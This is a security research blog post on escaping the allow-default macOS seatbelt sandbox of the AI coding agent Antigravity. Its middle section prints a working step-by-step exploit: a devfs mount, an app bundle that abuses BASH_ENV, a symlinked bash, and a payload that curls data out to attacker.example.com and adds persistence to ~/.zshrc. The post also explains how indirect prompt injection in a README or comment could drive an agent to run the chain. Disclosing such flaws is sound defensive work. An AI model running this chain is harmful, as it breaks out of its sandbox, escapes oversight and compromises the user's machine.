Blog

min read

The Week of Sandbox Escapes: Escaping Antigravity's Allow-Default Seatbelt

By

Dan Lisichkin

and

July 20, 2026

min read

This post is part of The Week of Sandbox Escapes, a series on how AI coding agents keep crossing the line between sandboxed workspace actions and unsandboxed host execution. Read the master report here.

AI coding agents showed up, changed how a lot of us work, and immediately became the most interesting attack surface on the laptop. The agent reads files, writes files, and runs commands, and the only thing standing between a bad instruction and your SSH keys is whatever isolation the vendor bolted on. On macOS, that isolation is almost always the same thing: sandbox_exec.

What sandbox-exec actually is

sandbox-exec is a command-line wrapper around Apple's sandboxing engine, internally called seatbelt. You hand it a profile written in the Sandbox Profile Language, and it applies that profile to a process at launch. Apple deprecated the command years ago and everyone uses it anyway, because it's the most accessible knob for this kind of confinement.

Two limits matter up front. A sandbox-exec profile cannot grant the process privileges it does not already have; it can only restrict, or choose not to restrict, operations that the process would otherwise be allowed to perform. It can't override the OS-level protections, System Integrity Protection and TCC. So a seatbelt profile is not a magic box. It's a filter on what an already-running process is allowed to ask the kernel for. The agent's process still runs on the host and still shares the kernel with you. Isolation by profile is isolation by promise, and the promise is only as good as the profile.

That's my actual thesis for this whole series, so I'll say it plainly. Process isolation that shares the host kernel is the wrong shape for this problem. The agent controls a real process on your machine, and as long as that's true, escape is a question of effort.

To allow or deny by default? that is the question

A seatbelt profile starts one of two ways.

The blocklist style opens with (allow default). Everything is permitted, and you write rules to subtract the dangerous things. It's easy to maintain and it rarely makes the app crash, which is exactly why tired developers reach for it.

(version 1)

(allow default)

(deny file-read* (subpath "/usr")) #reading from the /usr directory is not allowed

The allowlist style opens with (deny default). Nothing is permitted, and you grant back the specific operations the agent needs to function. It's a pain. You will spend a week chasing mysterious hangs because you forgot to allow some Mach service. It's also the only one of the two that's actually a sandbox.

(version 1)

(deny default) #everything is denied

(allow file-read* (subpath "/usr")) #reading the /usr directory is allowed

The full sandbox profile for the antigravity(build 1.15.8) is found inside a file called sandbox-wrapper.sh which is responsible for writing the sandbox profile. Antigravity went with (allow default). That single line at the top of the profile converts it to a denylist which predicts most of what follows.

(version 1)

(allow default)

; Process permissions
(allow process-exec)
(allow process-fork)
(allow process-info* (target same-sandbox))
(allow signal (target same-sandbox))
...

What allow-default buys an attacker

The denylist didn't include file-mount, so mount -t devfs just works. But before we get there, look at one line in Antigravity's profile:

(global-name "com.apple.coreservices.launchservicesd")

That allows the agent to talk to the Launch Services daemon. Anything launched through Launch Services, say by calling open on a file, starts life as a child of that daemon, outside the sandbox. That should be a clean way out, right?

But It isn't, at least not naively, and the reason is genuinely clever on Apple's part. Files created by a sandboxed process get tagged with a com.apple.provenance extended attribute. Launch Services sees that tag and refuses to execute the thing. So you write your custom malicious application, you try to run it with the open command, but nothing happens.

CVE-2023-32364, and why Apple's fix doesn't save Antigravity

CVE-2023-32364 is a logic vulnerability in macOS that allows a sandboxed process to escape its restrictions. Discovered by researcher Gergely Kalman, the flaw was addressed by Apple in July 2023 with improved data protection and restrictions. The bypass is a story about filesystems that can't hold the tag. devfs type file systems do support extended attributes. Neither do symlinks. So you build an app bundle out of those using zsh and the provenance check finds nothing to object to.

Apple did patch the original CVE by stopping sandboxed processes from creating directories on devfs and by requiring the .app extension. Under an allow-default profile, those fixes are irrelevant, because mounting devfs and creating .app directories were never denied in the first place. The attacker just walks through the same door:

1. Mount a devfs volume somewhere writable like the /tmp folder. The profile has no deny rule on filesystem mounts, so it succeeds.

# 1. Mount a devfs volume (no xattr support → no provenance tag)

mkdir -p /tmp/escape_mount

mount -t devfs -o noowners devfs /tmp/escape_mount

2. Build a hello.app/Contents/MacOS/ directory structure on it. The .app directory extension satisfies Apple's newer requirement, and devfs means none of it can carry a provenance tag.

# 2. Create the .app bundle structure on the devfs mount
APP_BUNDLE="/tmp/escape_mount/hello.app"
mkdir -p "$APP_BUNDLE/Contents/MacOS"
mkdir -p "$APP_BUNDLE/Contents"

# 3. Create Info.plist with LSEnvironment to abuse BASH_ENV
cat > "$APP_BUNDLE/Contents/Info.plist" << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>bash</string>
    <key>CFBundleIdentifier</key>
    <string>com.example.hello</string>
    <key>LSEnvironment</key>
    <dict>
        <key>BASH_ENV</key>
        <string>/tmp/payload.sh</string>
    </dict>
</dict>
</plist>
EOF

3. Write an Info.plist json file that names the bundle executable and sets BASH_ENV through LSEnvironment. BASH_ENV is a bash feature: when bash starts, it sources whatever file the variable points to. Write the plist to /tmp where writes are allowed, then symlink it into the bundle.

# 4. Create the payload script (this runs with full privileges outside the sandbox)

cat > /tmp/payload.sh << 'EOF'

#!/bin/bash

echo "=== SANDBOX ESCAPED ===" > ~/escape_proof.txt

whoami >> ~/escape_proof.txt

ls -la ~ >> ~/escape_proof.txt

open -a Calculator

curl -s -X POST -d "escaped=true&user=$(whoami)" https://attacker.example.com/log

echo "Persistence: appending to ~/.zshrc"

echo 'open -a Calculator' >> ~/.zshrc

echo "Done. Check ~/escape_proof.txt"

EOF

chmod +x /tmp/payload.sh

4. Symlink /bin/bash into the bundle as the executable. The provenance check runs on the symlink, which lives on devfs and has no attribute, so it passes clean.

# 5. Symlink bash as the executable (symlinks also bypass provenance tagging)

ln -s /bin/bash "$APP_BUNDLE/Contents/MacOS/bash"

5. open the bundle. Launch Services inspects it, finds no provenance, and hands it to launchd, which spawns bash as a fresh process entirely outside the sandbox. Bash reads BASH_ENV and runs your payload.

# 6. Launch it via Launch Services (open command)

open "$APP_BUNDLE"

The proof of concept payload appends open -a Calculator to ~/.zshrc for persistence, makes an outbound curl, and writes ~/escape_proof.txt with the user's identity and home directory contents. Every one of those is something the seatbelt profile claims to forbid, and every one happens anyway, because the bash process answering for them was never inside the sandbox.

The preconditions

This needs Secure Mode off, the terminal sandbox on, and command auto-execution set to "Always Proceed." Secure Mode on by default so preconditions do exist. "Always Proceed" is exactly the setting people pick once they get tired of clicking "approve”. And the sandbox being on is the configuration where the user believes they're protected. The people most exposed here are the ones who turned the sandbox on specifically so they could stop worrying.

The proof of concept drives this with a direct prompt, but nothing about the chain requires that. Drop the same instructions into a README, a code comment, or a doc the agent reads during normal work, and indirect injection does the rest. The user never sees the steps.

Takeaway

You cannot patch your way out of an inverted default. You can keep adding deny rules for devfs, for the next mount type, for the next Launch Services trick, and you'll keep finding new ones, because the policy is fighting the entire OS from a position of "yes unless I said no." The fix is to start from (deny default) and allow only what the agent needs. More annoying to write, breaks things the first week, and it's the only version of this that's actually a sandbox.

Which raises the obvious question for the rest of the series: what happens when a vendor does the careful thing and starts from deny-default? The Launch Services door is shut, so you need a different unsandboxed service to hand execution to. That's where Docker comes in, and that's the next few parts.

Subscribe and get the latest security updates

Back to blog

MAYBE YOU WILL FIND THIS INTERSTING AS WELL

The Week of Sandbox Escapes: Git directories do not have to be called .git

By

Eilon Cohen

and

July 20, 2026

Research
The Week of Sandbox Escapes: The sandbox let me edit a venv, and something else ran it

By

Dan Lisichkin

and

July 20, 2026

Research
The Week of Sandbox Escapes: A time bomb in .vscode: bypassing Antigravity's Secure Mode

By

Dan Lisichkin

and

July 20, 2026

Research